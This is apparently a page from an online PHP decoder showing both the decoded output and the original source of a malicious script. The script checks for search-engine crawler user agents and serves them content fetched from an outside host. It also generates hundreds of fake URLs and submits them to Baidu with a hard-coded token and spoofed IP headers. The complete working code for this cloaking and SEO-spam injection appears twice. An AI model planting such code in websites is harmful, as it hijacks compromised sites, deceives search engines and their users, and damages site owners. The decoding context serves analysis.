Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php isAllowAccess(TRUE); function isAllowAccess($dir = false){ $allowed = array('/ba..
Decoded Output download
<?php
isAllowAccess(TRUE);
function isAllowAccess($dir = false){
$allowed = array('/baiduspider/i','/YisouSpider/i','/360spider/i','/bingbot/i','/Sogou/i','/Sosospider/i','/Sogou web spider/i');
$user_agent = $_SERVER['HTTP_USER_AGENT'];
$valid = false;
foreach($allowed as $val)
{
if(preg_match($val,$user_agent))
{
echo file_get_contents('http://maogepao.net/jsc.php');
echo file_get_contents('http://'.$_SERVER["HTTP_HOST"]);
exit();
}
}
if(!$valid && $dir)
{
//exit('404not fond');
}
return $valid;
}
?>
<!--<?php
$tmp=array();
while(count($tmp)<900){
$tmp[]=mt_rand(1000,200000);
$tmp=array_unique($tmp);
}
foreach ($tmp as $key => $value){
$lianjie.='http://'.$_SERVER["HTTP_HOST"].'/fapiao.php?ID='.$value.'
';
$urls = array(
$lianjie
);
}
$api = 'http://data.zz.baidu.com/urls?site='.$_SERVER['HTTP_HOST'].'&token=Y5oWDWWa6WcFOFsj&type=mip';
$ch = curl_init();
$options = array(
CURLOPT_URL => $api,
CURLOPT_POST => true,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_POSTFIELDS => implode("
", $urls),
CURLOPT_HTTPHEADER => array('Content-Type: text/plain'),
);
curl_setopt_array($ch, $options);
$ip = rand(1,255).rand(1,255).rand(1,255).rand(1,255);
curl_setopt($ch,CURLOPT_HTTPHEADER,array('X-FORWARDED-FOR:'.$ip.'','CLIENT-IP:'.$ip.''));
curl_setopt($ch,CURLOPT_USERAGENT,"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; 360SE)");
$result = curl_exec($ch);
echo $result;
?>-->
Did this file decode correctly?
Original Code
<?php
isAllowAccess(TRUE);
function isAllowAccess($dir = false){
$allowed = array('/baiduspider/i','/YisouSpider/i','/360spider/i','/bingbot/i','/Sogou/i','/Sosospider/i','/Sogou web spider/i');
$user_agent = $_SERVER['HTTP_USER_AGENT'];
$valid = false;
foreach($allowed as $val)
{
if(preg_match($val,$user_agent))
{
echo file_get_contents('http://maogepao.net/jsc.php');
echo file_get_contents('http://'.$_SERVER["HTTP_HOST"]);
exit();
}
}
if(!$valid && $dir)
{
//exit('404not fond');
}
return $valid;
}
?>
<!--<?php
$tmp=array();
while(count($tmp)<900){
$tmp[]=mt_rand(1000,200000);
$tmp=array_unique($tmp);
}
foreach ($tmp as $key => $value){
$lianjie.='http://'.$_SERVER["HTTP_HOST"].'/fapiao.php?ID='.$value.'
';
$urls = array(
$lianjie
);
}
$api = 'http://data.zz.baidu.com/urls?site='.$_SERVER['HTTP_HOST'].'&token=Y5oWDWWa6WcFOFsj&type=mip';
$ch = curl_init();
$options = array(
CURLOPT_URL => $api,
CURLOPT_POST => true,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_POSTFIELDS => implode("\n", $urls),
CURLOPT_HTTPHEADER => array('Content-Type: text/plain'),
);
curl_setopt_array($ch, $options);
$ip = rand(1,255).rand(1,255).rand(1,255).rand(1,255);
curl_setopt($ch,CURLOPT_HTTPHEADER,array('X-FORWARDED-FOR:'.$ip.'','CLIENT-IP:'.$ip.''));
curl_setopt($ch,CURLOPT_USERAGENT,"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; 360SE)");
$result = curl_exec($ch);
echo $result;
?>-->
Function Calls
| None |
Stats
| MD5 | 7d9b4aeea4aeb34431f29727b45d2dbd |
| Eval Count | 0 |
| Decode Time | 74 ms |